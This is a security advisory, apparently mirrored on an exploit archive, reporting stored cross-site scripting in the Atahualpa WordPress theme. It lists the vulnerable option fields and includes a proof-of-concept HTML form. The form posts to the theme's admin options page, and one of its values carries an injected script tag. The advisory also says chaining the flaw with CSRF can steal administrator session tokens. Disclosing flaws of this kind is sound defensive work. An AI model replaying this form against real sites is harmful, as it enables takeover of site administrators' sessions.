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WordPress Atahualpa Theme Cross Site Scripting

WordPress Atahualpa Theme Cross Site Scripting
Posted Mar 3, 2017
Authored by Spyros Gasteratos

WordPress Atahualpa theme suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 9da700c7fbb14213f4d6ed6224f7796d

WordPress Atahualpa Theme Cross Site Scripting

Change Mirror Download
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Cross-Site Scripting in Atahualpa WordPress Theme
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Spyros Gasteratos, July 2016

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Abstract
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A number of Cross-Site Scripting vulnerabilities were found in the
Atahualpa WordPress Theme. This issue allows an attacker to perform a
wide variety of actions, such as stealing Administrators' session
tokens, or performing arbitrary actions on their behalf. In order to
exploit this issue, the attacker has to use the CSRF vulnerability
described in SFY20160759 to trick the admin into storing malicious
input.

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OVE ID
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OVE-20160724-0004

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Tested versions
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This issue was successfully tested on Atahualpa WordPress Theme
WordPress Theme.

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Fix
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There is currently no fix available.

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Details
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https://sumofpwn.nl/advisory/2016/cross_site_scripting_in_atahualpa_wordpress_theme.html

Providing any of the following fields with string such as: "><script>alert(1);</script> results in the script element getting appended after the respective input element when the request returns from the server:

"comment_feed_link",
"home_cat_menu_bar",
"email_subscribe_link",
"home_single_next_prev",
"email_subscribe_link_title",
"feedburner_email_id",
"excerpt_length",
"page_menu_bar_link_color",
"cat_menu_bar_background_color_parent",
"cat_menu_bar_link_color",
"left_col_pages_exclude",
"widget_lists link-hover-color",
"left_col2_cats_exclude"

The solution to this issue is to encode as html all the user-provided parameters before they are returned to the browser.
Proof of concept

In order to reproduce the issue the following request can be replayed using the cookies of the current admin.

<html>
<body>
<form action="https://play.sfy.nl/wp-admin/themes.php?page=atahualpa-options" method="POST">
<input type="hidden" name="widget_container" value="margin: 0 0 15px 0;"/>
<input type="hidden" name="widget_title_box" value=""/>
<input type="hidden" name="widget_title" value="font-size: 1.6em; font-weight: bold;"/>
<input type="hidden" name="widget_content" value=""/>
<input type="hidden" name="widget_lists[li-margin-left]" value="0"/>
<input type="hidden" name="widget_lists[link-border-left-width]" value="7"/>
<input type="hidden" name="widget_lists[link-border-left-color]" value="CCCCCC"/>
<input type="hidden" name="widget_lists[link-border-left-hover-color]" value="000000"/>
<input type="hidden" name="widget_lists[link-padding-left]" value="5"/>
<input type="hidden" name="widget_lists[link-weight]" value="normal"/>
<input type="hidden" name="widget_lists[link-color]" value="666666"/>
<input type="hidden" name="widget_lists[link-hover-color]" value="000000"/>
<input type="hidden" name="widget_lists2[li-margin-left]" value="5"/>
<input type="hidden" name="widget_lists2[link-border-left-width]" value="7"/>
<input type="hidden" name="widget_lists2[link-border-left-color]" value="CCCCCC"/>
<input type="hidden" name="widget_lists2[link-border-left-hover-color]" value="000000"/>
<input type="hidden" name="widget_lists2[link-padding-left]" value="5"/>
<input type="hidden" name="widget_lists2[link-weight]" value="normal"/>
<input type="hidden" name="widget_lists2[link-color]" value="666666"/>
<input type="hidden" name="widget_lists2[link-hover-color]" value="000000"/>
<input type="hidden" name="widget_lists3[li-margin-left]" value="5"/>
<input type="hidden" name="widget_lists3[link-border-left-width]" value="7"/>
<input type="hidden" name="widget_lists3[link-border-left-color]" value="CCCCCCw66ar"><script>alert(1)</script>ljgl1"/>
<input type="hidden" name="widget_lists3[link-border-left-hover-color]" value="000000"/>
<input type="hidden" name="widget_lists3[link-padding-left]" value="5"/>
<input type="hidden" name="widget_lists3[link-weight]" value="normal"/>
<input type="hidden" name="widget_lists3[link-color]" value="666666"/>
<input type="hidden" name="widget_lists3[link-hover-color]" value="000000"/>
<input type="hidden" name="category_widget_display_type" value="inline"/>
<input type="hidden" name="select_font_size" value="Default"/>
<input type="hidden" name="save" value=""/>
<input type="hidden" name="action" value="save"/>
<input type="hidden" name="category" value="widgets"/>
<input type="submit"/>
</form>
</body>
</html>



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Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
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